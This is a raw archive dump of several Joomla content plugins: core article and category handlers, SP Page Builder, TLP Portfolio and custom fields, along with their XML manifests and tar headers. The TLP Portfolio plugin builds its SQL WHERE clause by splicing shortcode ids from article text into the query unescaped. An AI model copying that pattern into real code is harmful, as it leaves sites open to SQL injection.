	public function onContentAfterSave($context, $article, $isNew)
	{
		// Check we are handling the frontend edit form.
		if ($context !== 'com_content.form')
		{
			return true;
		}

		// Check if this function is enabled.
		if (!$this->params->def('email_new_fe', 1))
		{
			return true;
		}

		// Check this is a new article.
		if (!$isNew)
		{
			return true;
		}

		$db = JFactory::getDbo();
		$query = $db->getQuery(true)
			->select($db->quoteName('id'))
			->from($db->quoteName('#__users'))
			->where($db->quoteName('sendEmail') . ' = 1')
			->where($db->quoteName('block') . ' = 0');
		$db->setQuery($query);
		$users = (array) $db->loadColumn();

		if (empty($users))
		{
			return true;
		}

		$user = JFactory::getUser();

		// Messaging for new items
		JModelLegacy::addIncludePath(JPATH_ADMINISTRATOR . '/components/com_messages/models', 'MessagesModel');
		JTable::addIncludePath(JPATH_ADMINISTRATOR . '/components/com_messages/tables');

		$default_language = JComponentHelper::getParams('com_languages')->get('administrator');
		$debug = JFactory::getConfig()->get('debug_lang');
		$result = true;

		foreach ($users as $user_id)
		{
			if ($user_id != $user->id)
			{
				// Load language for messaging
				$receiver = JUser::getInstance($user_id);
				$lang = JLanguage::getInstance($receiver->getParam('admin_language', $default_language), $debug);
				$lang->load('com_content');
				$message = array(
					'user_id_to' => $user_id,
					'subject' => $lang->_('COM_CONTENT_NEW_ARTICLE'),
					'message' => sprintf($lang->_('COM_CONTENT_ON_NEW_CONTENT'), $user->get('name'), $article->title)
				);
				$model_message = JModelLegacy::getInstance('Message', 'MessagesModel');
				$result = $model_message->save($message);
			}
		}

		return $result;
	}

	/**
	 * Don't allow categories to be deleted if they contain items or subcategories with items
	 *
	 * @param   string  $context  The context for the content passed to the plugin.
	 * @param   object  $data     The data relating to the content that was deleted.
	 *
	 * @return  boolean
	 *
	 * @since   1.6
	 */
	public function onContentBeforeDelete($context, $data)
	{
		// Skip plugin if we are deleting something other than categories
		if ($context !== 'com_categories.category')
		{
			return true;
		}

		// Check if this function is enabled.
		if (!$this->params->def('check_categories', 1))
		{
			return true;
		}

		$extension = JFactory::getApplication()->input->getString('extension');

		// Default to true if not a core extension
		$result = true;

		$tableInfo = array(
			'com_banners' => array('table_name' => '#__banners'),
			'com_contact' => array('table_name' => '#__contact_details'),
			'com_content' => array('table_name' => '#__content'),
			'com_newsfeeds' => array('table_name' => '#__newsfeeds'),
			'com_weblinks' => array('table_name' => '#__weblinks')
		);

		// Now check to see if this is a known core extension
		if (isset($tableInfo[$extension]))
		{
			// Get table name for known core extensions
			$table = $tableInfo[$extension]['table_name'];

			// See if this category has any content items
			$count = $this->_countItemsInCategory($table, $data->get('id'));

			// Return false if db error
			if ($count === false)
			{
				$result = false;
			}
			else
			{
				// Show error if items are found in the category
				if ($count > 0)
				{
					$msg = JText::sprintf('COM_CATEGORIES_DELETE_NOT_ALLOWED', $data->get('title'))
						. JText::plural('COM_CATEGORIES_N_ITEMS_ASSIGNED', $count);
					JError::raiseWarning(403, $msg);
					$result = false;
				}

				// Check for items in any child categories (if it is a leaf, there are no child categories)
				if (!$data->isLeaf())
				{
					$count = $this->_countItemsInChildren($table, $data->get('id'), $data);

					if ($count === false)
					{
						$result = false;
					}
					elseif ($count > 0)
					{
						$msg = JText::sprintf('COM_CATEGORIES_DELETE_NOT_ALLOWED', $data->get('title'))
							. JText::plural('COM_CATEGORIES_HAS_SUBCATEGORY_ITEMS', $count);
						JError::raiseWarning(403, $msg);
						$result = false;
					}
				}
			}

			return $result;
		}
	}

	/**
	 * Get count of items in a category
	 *
	 * @param   string   $table  table name of component table (column is catid)
	 * @param   integer  $catid  id of the category to check
	 *
	 * @return  mixed  count of items found or false if db error
	 *
	 * @since   1.6
	 */
	private function _countItemsInCategory($table, $catid)
	{
		$db = JFactory::getDbo();
		$query = $db->getQuery(true);

		// Count the items in this category
		$query->select('COUNT(id)')
			->from($table)
			->where('catid = ' . $catid);
		$db->setQuery($query);

		try
		{
			$count = $db->loadResult();
		}
		catch (RuntimeException $e)
		{
			JError::raiseWarning(500, $e->getMessage());

			return false;
		}

		return $count;
	}

	/**
	 * Get count of items in a category's child categories
	 *
	 * @param   string   $table  table name of component table (column is catid)
	 * @param   integer  $catid  id of the category to check
	 * @param   object   $data   The data relating to the content that was deleted.
	 *
	 * @return  mixed  count of items found or false if db error
	 *
	 * @since   1.6
	 */
	private function _countItemsInChildren($table, $catid, $data)
	{
		$db = JFactory::getDbo();

		// Create subquery for list of child categories
		$childCategoryTree = $data->getTree();

		// First element in tree is the current category, so we can skip that one
		unset($childCategoryTree[0]);
		$childCategoryIds = array();

		foreach ($childCategoryTree as $node)
		{
			$childCategoryIds[] = $node->id;
		}

		// Make sure we only do the query if we have some categories to look in
		if (count($childCategoryIds))
		{
			// Count the items in this category
			$query = $db->getQuery(true)
				->select('COUNT(id)')
				->from($table)
				->where('catid IN (' . implode(',', $childCategoryIds) . ')');
			$db->setQuery($query);

			try
			{
				$count = $db->loadResult();
			}
			catch (RuntimeException $e)
			{
				JError::raiseWarning(500, $e->getMessage());

				return false;
			}

			return $count;
		}
		else
			// If we didn't have any categories to check, return 0
		{
			return 0;
		}
	}

	/**
	 * Change the state in core_content if the state in a table is changed
	 *
	 * @param   string   $context  The context for the content passed to the plugin.
	 * @param   array    $pks      A list of primary key ids of the content that has changed state.
	 * @param   integer  $value    The value of the state that the content has been changed to.
	 *
	 * @return  boolean
	 *
	 * @since   3.1
	 */
	public function onContentChangeState($context, $pks, $value)
	{
		$db = JFactory::getDbo();
		$query = $db->getQuery(true)
			->select($db->quoteName('core_content_id'))
			->from($db->quoteName('#__ucm_content'))
			->where($db->quoteName('core_type_alias') . ' = ' . $db->quote($context))
			->where($db->quoteName('core_content_item_id') . ' IN (' . $pksImploded = implode(',', $pks) . ')');
		$db->setQuery($query);
		$ccIds = $db->loadColumn();

		$cctable = new JTableCorecontent($db);
		$cctable->publish($ccIds, $value);

		return true;
	}

	/**
	* The save event.
	*
	* @param   string   $context  The context
	* @param   object   $table    The item
	* @param   boolean  $isNew    Is new item
	*
	* @return  void
	*
	* @since   3.9.12
	*/
	public function onContentBeforeSave($context, $table, $isNew)
	{
		// Check we are handling the frontend edit form.
		if ($context !== 'com_menus.item')
		{
			return true;
		}

		// Special case for Create article menu item
		if ($table->link !== 'index.php?option=com_content&view=form&layout=edit')
		{
			return true;
		}

		// Display error if catid is not set when enable_category is enabled
		$params = json_decode($table->params, true);

		if ($params['enable_category'] == 1 && empty($params['catid']))
		{
			$table->setError(JText::_('COM_CONTENT_CREATE_ARTICLE_ERROR'));

			return false;
		}
	}
}
                                                                                                                                                                                                                                                                           content/joomla/joomla.xml                                                                           0000705                 00000003056 15242051520 0011500 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?xml version="1.0" encoding="utf-8"?>
<extension version="3.1" type="plugin" group="content" method="upgrade">
	<name>plg_content_joomla</name>
	<author>Joomla! Project</author>
	<creationDate>November 2010</creationDate>
	<copyright>(C) 2010 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.0.0</version>
	<description>PLG_CONTENT_JOOMLA_XML_DESCRIPTION</description>
	<files>
		<filename plugin="joomla">joomla.php</filename>
	</files>
	<languages>
		<language tag="en-GB">en-GB.plg_content_joomla.ini</language>
		<language tag="en-GB">en-GB.plg_content_joomla.sys.ini</language>
	</languages>
	<config>
		<fields name="params">
			<fieldset name="basic">
				<field
					name="check_categories"
					type="radio"
					label="PLG_CONTENT_JOOMLA_FIELD_CHECK_CATEGORIES_LABEL"
					description="PLG_CONTENT_JOOMLA_FIELD_CHECK_CATEGORIES_DESC"
					class="btn-group btn-group-yesno"
					default="1"
					filter="integer"
					>
					<option value="1">JYES</option>
					<option value="0">JNO</option>
				</field>

				<field 
					name="email_new_fe"
					type="radio"
					label="PLG_CONTENT_JOOMLA_FIELD_EMAIL_NEW_FE_LABEL"
					description="PLG_CONTENT_JOOMLA_FIELD_EMAIL_NEW_FE_DESC"
					class="btn-group btn-group-yesno"
					default="1"
					filter="integer"
					>
					<option value="1">JYES</option>
					<option value="0">JNO</option>
				</field>
			</fieldset>
		</fields>
	</config>

</extension>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  content/sppagebuilder/sppagebuilder.xml                                                             0000705                 00000001355 15242051520 0014412 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?xml version="1.0" encoding="utf-8"?>
<extension version="3.6" type="plugin" group="content" method="upgrade">
	<name>Content - SP Page Builder</name>
	<author>Joomla! Project</author>
	<author>JoomShaper.com</author>
    <creationDate>Sep 2016</creationDate>
    <copyright>Copyright (C) 2010 - 2016 JoomShaper. All rights reserved.</copyright>
    <license>http://www.gnu.org/licenses/gpl-2.0.html GPLv2 or later</license>
    <authorEmail>support@joomshaper.com</authorEmail>
    <authorUrl>www.joomshaper.com</authorUrl>
    <version>1.7</version>
    <description>SP Page Builder System plugin to add support for 3rd party components</description>
	<files>
		<filename plugin="sppagebuilder">sppagebuilder.php</filename>
	</files>
</extension>                                                                                                                                                                                                                                                                                   content/sppagebuilder/sppagebuilder.php                                                             0000705                 00000017064 15242051520 0014405 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
* @package SP Page Builder
* @author JoomShaper http://www.joomshaper.com
* @copyright Copyright (c) 2010 - 2019 JoomShaper
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or later
*/
//no direct accees
defined ('_JEXEC') or die ('Restricted access');

$sppb_helper_path = JPATH_ADMINISTRATOR . '/components/com_sppagebuilder/helpers/sppagebuilder.php';
if (!file_exists($sppb_helper_path)) {
	return;
}
if(!class_exists('SppagebuilderHelper')) {
	require_once $sppb_helper_path;
}

if(!class_exists('SppagebuilderHelperSite'))
{
	require_once JPATH_ROOT . '/components/com_sppagebuilder/helpers/helper.php';
}

// Load language file
$language = JFactory::getLanguage();
$language->load('com_sppagebuilder', JPATH_SITE, 'en-GB', true);
$language->load('com_sppagebuilder', JPATH_SITE, null, true);

class PlgContentSppagebuilder extends JPlugin {
	protected $autoloadLanguage = true;
	protected $sppagebuilder_content = '';
	protected $sppagebuilder_active = 0;
	protected $isSppagebuilderEnabled = 0;
	
	public function __construct( &$subject, $config ) {
		$this->isSppagebuilderEnabled = $this->isSppagebuilderEnabled();
		parent::__construct($subject, $config);
	}

	// Common
	public static function __context() {
		$context = array(
			'option'=>'com_content',
			'view'=>'article',
			'id_alias'=>'id'
		);
		return $context;
	}

	public function onContentAfterSave($context, $article, $isNew) {
		if ( !$this->isSppagebuilderEnabled ) return;
		$input = JFactory::getApplication()->input;
		$option = $input->get('option', '', 'STRING');
		$view = 'article';
		$form = $input->post->get('jform', array(), 'ARRAY');
		$sppagebuilder_active = (isset($form['attribs']['sppagebuilder_active']) && $form['attribs']['sppagebuilder_active']) ? $form['attribs']['sppagebuilder_active'] : 0;
		$sppagebuilder_content = (isset($form['attribs']['sppagebuilder_content']) && $form['attribs']['sppagebuilder_content']) ? $form['attribs']['sppagebuilder_content'] : '[]';
		if(!$sppagebuilder_content) return;
		if($context == 'com_content.article') {
			$article_state = $article->state;
			if(!$sppagebuilder_active){
				$article_state = 0;
			}
			$values = array(
				'title' => $article->title,
				'text' => $sppagebuilder_content,
				'option' => $option,
				'view' => $view,
				'id' => $article->id,
				'active' => $sppagebuilder_active,
				'published' => $article_state,
				'catid'		=> $article->catid,
				'created_on' => $article->created,
				'created_by' => $article->created_by,
				'modified' => $article->modified,
				'modified_by' => $article->modified_by,
				'access' => $article->access,
				'language' => '*',
				'action' => 'apply'
			);
			if($article->state == 2){
				$values['published'] = 1;
			}

			if($sppagebuilder_active) {
				self::addFullText($article->id, $sppagebuilder_content);
			}

			SppagebuilderHelper::onAfterIntegrationSave($values);
		}
	}

	private static function addFullText($id, $data) {
		$article = new stdClass();
		$article->id = $id;
		$article->fulltext = SppagebuilderHelperSite::getPrettyText($data);
		$result = JFactory::getDbo()->updateObject('#__content', $article, 'id');
	}
	
	public function onContentPrepare($context, $article, $params, $page) {
		$input  = JFactory::getApplication()->input;
		$option = $input->get('option', '', 'STRING');
		$view   = $input->get('view', '', 'STRING');
		$task   = $input->get('task', '', 'STRING');
		if (!isset($article->id) || !(int) $article->id) {
			return true;
		}
		if ( $this->isSppagebuilderEnabled ) {
			if(($option == 'com_content') && ($view == 'article')) {
				$article->text = SppagebuilderHelper::onIntegrationPrepareContent($article->text, $option, $view, $article->id);
			}
			if(($option == 'com_j2store') && ($view == 'products') && ($task == 'view') && ($context == 'com_content.article.productlist')) {
				$article->text = SppagebuilderHelper::onIntegrationPrepareContent($article->text, 'com_content', 'article', $article->id);
			}
		}
	}

	public function onContentAfterDelete($context, $data) {
		if ( $this->isSppagebuilderEnabled ) {
			$input  = JFactory::getApplication()->input;
			$option = $input->get('option', '', 'STRING');
			$task 	= $input->get('task', '', 'STRING');
			if( $option == 'com_content' && $context == 'com_content.article') {
				$values = array(
					'option' => $option,
					'view' => 'article',
					'id' => $data->id,
					'action' => 'delete'
				);
				SppagebuilderHelper::onAfterIntegrationSave($values);
			}
		}
	}

	public function onContentAfterTitle($context, $article, $params, $limitstart){

		$input  = JFactory::getApplication()->input;
		$option = $input->get('option', '', 'STRING');
		$view   = $input->get('view', '', 'STRING');
		$task   = $input->get('task', '', 'STRING');
		if (!isset($article->id) || !(int) $article->id) {
			return true;
		}
		if ( $this->isSppagebuilderEnabled ) {
			if($option == 'com_content' && $view == 'article' && $params->get('access-edit')) {
				$sppbEditLink = $this->displaySPPBEditLink($article, $params);
				if($sppbEditLink){
					return $sppbEditLink;
				}
			}
		}

		return;
	}

	public function onContentChangeState($context, $pks, $value) {
		if ( $this->isSppagebuilderEnabled ) {
			$input  = JFactory::getApplication()->input;
			$option = $input->get('option', '', 'STRING');
			$view   = $input->get('view', '', 'STRING');
			$task   = $input->get('task', '', 'STRING');
			if( $option == 'com_content' && $context == 'com_content.article') {
				$actions = array(0,1,-2);
				if( !in_array( $value, $actions ) ) return;
				foreach( $pks as $id ) {
					$values = array(
						'option' => $option,
						'view' => 'article',
						'id' => $id,
						'published' => $value,
						'action' => 'stateChange'
					);
					SppagebuilderHelper::onAfterIntegrationSave($values);
				}
			}
		}
	}

	private function isSppagebuilderEnabled(){
		$db = JFactory::getDbo();
		$db->setQuery("SELECT enabled FROM #__extensions WHERE element = 'com_sppagebuilder' AND type = 'component'");
		return $is_enabled = $db->loadResult();
	}

	private function displaySPPBEditLink( $article, $params ){

		$user = JFactory::getUser();

		// Ignore if in a popup window.
		if ($params && $params->get('popup')) return;

		// Ignore if the state is negative (trashed).
		if ($article->state < 0) return;

		$item = SppagebuilderHelper::getPageContent('com_content','article',$article->id);

		if(!$item || !$item->id) return;

		if(property_exists($article, 'checked_out')
			&& property_exists($article, 'checked_out_time')
			&& $article->checked_out > 0
			&& $article->checked_out != $user->get('id')){
			
			return '<a href="#"><span class="fa fa-lock"></span> Checked out</a>';
		}

		$app = JApplication::getInstance('site');
		$router = $app->getRouter();

		// Get item language code
		$lang_code = (isset($item->language) && $item->language && explode('-',$item->language)[0])? explode('-',$item->language)[0] : '';
		// check language filter plugin is enable or not
		$enable_lang_filter = JPluginHelper::getPlugin('system', 'languagefilter');
		// get joomla config
		$conf = JFactory::getConfig();

		$front_link = 'index.php?option=com_sppagebuilder&view=form&tmpl=component&layout=edit&id=' . $item->id;
		$sefURI = str_replace('/administrator', '', $router->build($front_link));
		if($lang_code && $lang_code !== '*' && $enable_lang_filter && $conf->get('sef') ){
			$sefURI = str_replace('/index.php/', '/index.php/' . $lang_code . '/', $sefURI);
		} elseif($lang_code && $lang_code !== '*') {
			$sefURI = $sefURI . '&lang=' . $lang_code;
		}	

		return '<a target="_blank" href="'.$sefURI.'"><span class="fa fa-pencil-square-o"></span> Edit with SP Page Builder</a>';
	}

}                                                                                                                                                                                                                                                                                                                                                                                                                                                                            content/tlpportfolio/index.html                                                                     0000705                 00000000000 15242051520 0012730 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       content/tlpportfolio/tlpportfolio.php                                                               0000705                 00000023462 15242051520 0014222 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php

/**
 * @package     Joomla.Plugin
 * @subpackage  content
 *
 * @copyright   Copyright (C) 2005 - 2014 Open Source Matters, Inc. All rights reserved.
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */
defined('_JEXEC') or die;
$app = JFactory::getApplication();
$tlpportfolio_params = JComponentHelper::getParams('com_tlpportfolio');

$enable_font_awsame = $tlpportfolio_params->get('enable_font_awsame');


require_once JPATH_SITE . '/components/com_tlpportfolio/router.php';
$document = JFactory::getDocument();

$document->addStyleSheet('components/com_tlpportfolio/assets/css/tlpportfolio.css');

if($enable_font_awsame==1){
    $document->addStyleSheet('components/com_tlpportfolio/assets/css/font-awesome.min.css');
}
/**
 * Content search plugin.
 *
 * @package     Joomla.Plugin
 * @subpackage  Search.content
 * @since       1.6
 */
class PlgContentTlpportfolio extends JPlugin {


    /**
     * Load the language file on instantiation.
     *
     * @var    boolean
     * @since  3.1
     */
    protected $autoloadLanguage = true;

    public $configs = null;

    function __construct( &$subject, $params ) {
        parent::__construct( $subject, $params );
    }

    /**
     * Plugin that retrieves contact information for contact
     *
     * @param   string   $context  The context of the content being passed to the plugin.
     * @param   mixed    &$row     An object with a "text" property
     * @param   mixed    $params   Additional parameters. See {@see PlgContentContent()}.
     * @param   integer  $page     Optional page number. Unused. Defaults to zero.
     *
     * @return  boolean True on success.
     */
    public function onContentPrepare($context, &$article, &$params, $page = 0)
    {

        $allowed_contexts = array('com_content.category', 'com_content.article', 'com_content.featured', 'mod_custom.content');

        if (!in_array($context, $allowed_contexts))
        {
            return true;
        }

        // Simple performance check to determine whether bot should process further
        if (strpos($article->text, 'tlpportfolio') === false && strpos($article->text, 'tlpportfolio') === false)
        {
            return true;
        }

        JFactory::getLanguage()->getTag();
        $multilang=JLanguageMultilang::isEnabled();

        $db = JFactory::getDbo();
        $query = $db->getQuery(true);
        $document = JFactory::getDocument();
        $app = JFactory::getApplication();
        $tlpportfolio_params = JComponentHelper::getParams('com_tlpportfolio');
        $image_storiage_path = $tlpportfolio_params->get('image_path','images/tlpportfolio');
        $link_detail = $tlpportfolio_params->get('link_detail','1');
        $bootstrap_version = $tlpportfolio_params->get('bootstrap_version','1');
        $enable_font_awsame = $tlpportfolio_params->get('enable_font_awsame');
        $enable_social_share = $tlpportfolio_params->get('enable_social_share');
        $link_type = $tlpportfolio_params->get('link_type');
        $image_grid = $tlpportfolio_params->get('image_grid');
        $create_date_format = $tlpportfolio_params->get('create_date_format');

        $layout = $tlpportfolio_params->get('g_layout');
        $display_no = $tlpportfolio_params->get('g_display_no');
        $grid_type = $tlpportfolio_params->get('g_grid_type');
        $item_to_item_margin = $tlpportfolio_params->get('g_item_to_item_margin');
        $image_style = $tlpportfolio_params->get('g_image_style');
        $primary_color = $tlpportfolio_params->get('g_primary_color');
        $overlay_color = $tlpportfolio_params->get('g_overlay_color');
        $overlay_opacity = $tlpportfolio_params->get('g_overlay_opacity');
        $project_name_font_size = $tlpportfolio_params->get('g_project_name_font_size');
        $project_name_font_color = $tlpportfolio_params->get('g_project_name_font_color');
        $project_name_text_align = $tlpportfolio_params->get('g_project_name_text_align');
        $short_desc_font_size = $tlpportfolio_params->get('g_short_desc_font_size');
        $short_desc_font_color = $tlpportfolio_params->get('g_short_desc_font_color');
        $short_desc_text_align = $tlpportfolio_params->get('g_short_desc_text_align');
        $icon_font_size = $tlpportfolio_params->get('g_icon_font_size');
        $icon_font_color = $tlpportfolio_params->get('g_icon_font_color');
        //field control
        $project_name_field = $tlpportfolio_params->get('g_project_name_field');
        $short_desc_field = $tlpportfolio_params->get('g_short_desc_field');
        $tools_field = $tlpportfolio_params->get('g_tools_field');
        $category_field = $tlpportfolio_params->get('g_category_field');
        $client_field = $tlpportfolio_params->get('g_client_field');
        $project_url_field = $tlpportfolio_params->get('g_project_url_field');

        // Expression to search for(tlpportfolio id)
        $regex = '/{tlpportfolio\s*.*?}/i';
        // find all instances of mambot and put in $matches
        preg_match_all($regex, $article->text, $matches_v, PREG_SET_ORDER);
        //if we have mambot on txt replace them
        // No matches, skip this 
          foreach($matches_v as $match){
            $matches_v = $match[0];
                $matches_v = str_replace("{", "", $matches_v);
                $matches_v = str_replace("}", "", $matches_v);
                $search = explode(" ", $matches_v);

              //print_r($search);
                //Array ( [0] => team [1] => id=1 )
                foreach($search as $s_row => $s_value){
                    $final = explode("=",$s_value);
                    if(isset($final[1])){
                        $replace[$final[0]] = $final[1];
                    }
                }

                $whereQ = null;
                $memberIds = explode(',', $replace['id']);
                //print_r($memberIds);
                $i= 1; 
                foreach ($memberIds as $id) {
                    $or = ($i > 1 ? "OR " : null);
                    $whereQ .= " $or a.id = '$id' "; 
                    $i++;
                }
                //$detail_link='mmmmm';
                // Select the required fields from the table.
                $query->select( 'DISTINCT a.*,c.title AS category_title');
                $query->from('`#__tlpportfolio_portfolio` AS a');
                // Join over the category 'category'
                $query->join('LEFT', '#__categories AS c ON c.id = a.category');
                
                $query->where($whereQ);

                // Filter by language
                if ($multilang)
                {
                    $query->where('a.language in (' . $db->quote(JFactory::getLanguage()->getTag()) . ',' . $db->quote('*') . ')');
                }

                //$query = "SELECT * FROM #__tlpteam_team WHERE $whereQ";
                $db->setQuery($query);
                $items = $db->loadObjectList();
                //echo $query;
                //echo $items=count($item_total);
               // echo $limit = $this->params->def('search_limit', 50);
                 $output = null;
                 $output .='<div class="row plg-tlp-portfolio tlp-portfolio ">';
                 $output .='<div class="layout5">';
               foreach($items as $item){
                $detail_link=JRoute::_('index.php?option=com_tlpportfolio&view=portfolio&id='.(int) $item->id);
                $output .='<div class="tlp-col-lg-4 tlp-col-md4 col-md-4 span4">';
                
                $output .='<div class="tlp-portfolio-item">
                   <div class="tlp-portfolio-thum">  
                       <figure>';
                $output .='<img class="tlp-img-responsive" src="'.JURI::root().$image_storiage_path.'/m_'.$item->portfolio_image.'" alt="'. $item->title.'"/> ';            
                $output .='</figure>
                   </div>
                   <div class="tlp-overlay">
                     <div class="tlp-title">';
                       if($link_detail==1){
                $output .='<h3><a href="'.$detail_link.'">'. substr($item->title,0, 33).'</a></h3>';
                        }else{
                            $output .='<h3>'.substr($item->title,0, 33) .'</h3>';
                        }
                     $output .='</div>';

                     $output .='<div class="tlp-content">';  
                          if(($short_desc_field==1)&&($item->short_description!='')){
                    $output .='<p class="description">'. substr($item->short_description,0,150).'</p>';
                          }
                       if(($category_field==1)&&($item->category_title!='')){
                     $output .='<p class="description">'.$item->category_title.'</p>';
                          }
                          if(($tools_field==1)&&($item->tools_used!='')){
                    $output .='<p class="description">'. TlpportfolioFrontendHelper::getTools($item->tools_used).'</p>';
                           }
                    $output .='<p class="link-icon">';
                            if($link_detail==1){
                    $output .='<a href="'. $detail_link.'"><i class="fa fa-info"></i></a>';
                            }
                   if(($project_url_field==1)&&($item->project_url)){
                     $output .='<a href="'.$item->project_url.'" target="_blank"><i class="fa fa-external-link"></i></a> '; 
                             }
                     $output .='</div>';   
                   $output .='</div>
               </div>';
                $output .='</div>';
             }
                $output .='</div>';
 $output .='</div>';  


                 $matchesfull = '{'. $matches_v . '}';
                // We should replace only first occurrence in order to allow positions with the same name to regenerate their content:
                $article->text = preg_replace("|$matchesfull|", $output, $article->text, 1);
        }

        
        
    }

}
                                                                                                                                                                                                              content/tlpportfolio/tlpportfolio.xml                                                               0000705                 00000002303 15242051520 0014222 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?xml version="1.0" encoding="utf-8"?>
<extension version="3.1" type="plugin" group="content">
    <name>Content_tlpportfolio</name>
    <author>TechLabPro</author>
    <creationDate>2015-12-07</creationDate>
    <copyright>Copyright (C) 2015. All rights reserved.</copyright>
    <license>GNU General Public License version 2 or later; see LICENSE.txt</license>
    <authorEmail>info@techlabpro.com</authorEmail>
    <authorUrl>http://www.techlabpro.com</authorUrl>
    <version>1.0.0</version>
    <description>PLG_CONTENT_TLPPORTFOLIO_XML_DESCRIPTION</description>
    <files>
        <filename plugin="tlpportfolio">tlpportfolio.php</filename>
        <filename>index.html</filename>
    </files>
    <languages folder="../../../languages/site/content/tlpportfolio">
        
		<language tag="en-GB">../../../languages/plugins/content/tlpportfolio/en-GB/en-GB.plg_content_tlpportfolio.ini</language>
	    <language tag="en-GB">../../../languages/plugins/content/tlpportfolio/en-GB/en-GB.plg_content_tlpportfolio.sys.ini</language>
    </languages>
    <config>
        <fields name="params">

            <fieldset name="basic">
               
            </fieldset>

        </fields>
    </config>
</extension>
                                                                                                                                                                                                                                                                                                                             content/fields/fields.xml                                                                           0000705                 00000001561 15242051520 0011451 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?xml version="1.0" encoding="utf-8"?>
<extension version="3.7.0" type="plugin" group="content" method="upgrade">
	<name>plg_content_fields</name>
	<author>Joomla! Project</author>
	<creationDate>February 2017</creationDate>
	<copyright>(C) 2017 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.7.0</version>
	<description>PLG_CONTENT_FIELDS_XML_DESCRIPTION</description>
	<files>
		<filename plugin="fields">fields.php</filename>
	</files>
	<languages>
		<language tag="en-GB">en-GB.plg_content_fields.ini</language>
		<language tag="en-GB">en-GB.plg_content_fields.sys.ini</language>
	</languages>
	<config>
		<fields name="params">
			<fieldset name="basic">
			</fieldset>
		</fields>
	</config>
</extension>
                                                                                                                                               content/fields/fields.php                                                                           0000705                 00000010140 15242051520 0011431 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Content.Fields
 *
 * @copyright   (C) 2017 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die();

/**
 * Plug-in to show a custom field in eg an article
 * This uses the {fields ID} syntax
 *
 * @since  3.7.0
 */
class PlgContentFields extends JPlugin
{
	/**
	 * Plugin that shows a custom field
	 *
	 * @param   string  $context  The context of the content being passed to the plugin.
	 * @param   object  &$item    The item object.  Note $article->text is also available
	 * @param   object  &$params  The article params
	 * @param   int     $page     The 'page' number
	 *
	 * @return void
	 *
	 * @since  3.7.0
	 */
	public function onContentPrepare($context, &$item, &$params, $page = 0)
	{
		// If the item has a context, overwrite the existing one
		if ($context == 'com_finder.indexer' && !empty($item->context))
		{
			$context = $item->context;
		}
		elseif ($context == 'com_finder.indexer')
		{
			// Don't run this plugin when the content is being indexed and we have no real context
			return;
		}

		// Don't run if there is no text property (in case of bad calls) or it is empty
		if (empty($item->text))
		{
			return;
		}

		// Simple performance check to determine whether bot should process further
		if (strpos($item->text, 'field') === false)
		{
			return;
		}

		// Register FieldsHelper
		JLoader::register('FieldsHelper', JPATH_ADMINISTRATOR . '/components/com_fields/helpers/fields.php');

		// Prepare the text
		if (isset($item->text))
		{
			$item->text = $this->prepare($item->text, $context, $item);
		}

		// Prepare the intro text
		if (isset($item->introtext))
		{
			$item->introtext = $this->prepare($item->introtext, $context, $item);
		}
	}

	/**
	 * Prepares the given string by parsing {field} and {fieldgroup} groups and replacing them.
	 *
	 * @param   string  $string   The text to prepare
	 * @param   string  $context  The context of the content
	 * @param   object  $item     The item object
	 *
	 * @return string
	 *
	 * @since  3.8.1
	 */
	private function prepare($string, $context, $item)
	{
		// Search for {field ID} or {fieldgroup ID} tags and put the results into $matches.
		$regex = '/{(field|fieldgroup)\s+(.*?)}/i';
		preg_match_all($regex, $string, $matches, PREG_SET_ORDER);

		if (!$matches)
		{
			return $string;
		}

		$parts = FieldsHelper::extract($context);

		if (count($parts) < 2)
		{
			return $string;
		}

		$context    = $parts[0] . '.' . $parts[1];
		$fields     = FieldsHelper::getFields($context, $item, true);
		$fieldsById = array();
		$groups     = array();

		// Rearranging fields in arrays for easier lookup later.
		foreach ($fields as $field)
		{
			$fieldsById[$field->id]     = $field;
			$groups[$field->group_id][] = $field;
		}

		foreach ($matches as $i => $match)
		{
			// $match[0] is the full pattern match, $match[1] is the type (field or fieldgroup) and $match[2] the ID and optional the layout
			$explode = explode(',', $match[2]);
			$id      = (int) $explode[0];
			$output  = '';

			if ($match[1] == 'field' && $id)
			{
				if (isset($fieldsById[$id]))
				{
					$layout = !empty($explode[1]) ? trim($explode[1]) : $fieldsById[$id]->params->get('layout', 'render');
					$output = FieldsHelper::render(
						$context,
						'field.' . $layout,
						array(
							'item'    => $item,
							'context' => $context,
							'field'   => $fieldsById[$id]
						)
					);
				}
			}
			else
			{
				if ($match[2] === '*')
				{
					$match[0]     = str_replace('*', '\*', $match[0]);
					$renderFields = $fields;
				}
				else
				{
					$renderFields = isset($groups[$id]) ? $groups[$id] : '';
				}

				if ($renderFields)
				{
					$layout = !empty($explode[1]) ? trim($explode[1]) : 'render';
					$output = FieldsHelper::render(
						$context,
						'fields.' . $layout,
						array(
							'item'    => $item,
							'context' => $context,
							'fields'  => $renderFields
						)
					);
				}
			}

			$string = preg_replace("|$match[0]|", addcslashes($output, '\\$'), $string, 1);
		}

		return $string;
	}
}
                                                                                                                                                                                                                                                                                                                                                                                                                                content/pagenavigation/pagenavigation.xml                                                           0000705                 00000003742 15242051520 0014730 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?xml version="1.0" encoding="utf-8"?>
<extension version="3.1" type="plugin" group="content" method="upgrade">
	<name>plg_content_pagenavigation</name>
	<author>Joomla! Project</author>
	<creationDate>January 2006</creationDate>
	<copyright>(C) 2006 Open Source Matters, Inc.</copyright>
